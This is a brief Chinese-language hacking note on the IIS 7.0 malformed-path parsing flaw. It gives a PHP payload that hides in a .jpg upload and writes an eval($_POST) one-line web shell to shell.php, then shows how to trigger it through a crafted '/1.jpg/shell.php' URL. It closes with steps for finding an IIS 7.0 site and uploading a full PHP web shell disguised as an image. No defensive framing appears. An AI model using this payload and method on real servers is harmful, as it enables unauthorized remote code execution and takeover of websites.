IIS7.0畸形解析

1.jpg 内容

“<?fputs(fopen(“shell.PHP”,”w”),”<?eval(\$_POST[akt]);?>”)?>”

www.xxxx.com/upload/1.jpg

www.xxxx.com/upload/1.jpg/shell.php 访问后生成下面的一句话

www.xxxx.com/upload/shell.ph

IIS7.0的畸形解析和这个类似。

找到某个使用IIS7.0架设的站，把PHP大马后缀改成.jpg，传上去，得到图片地址。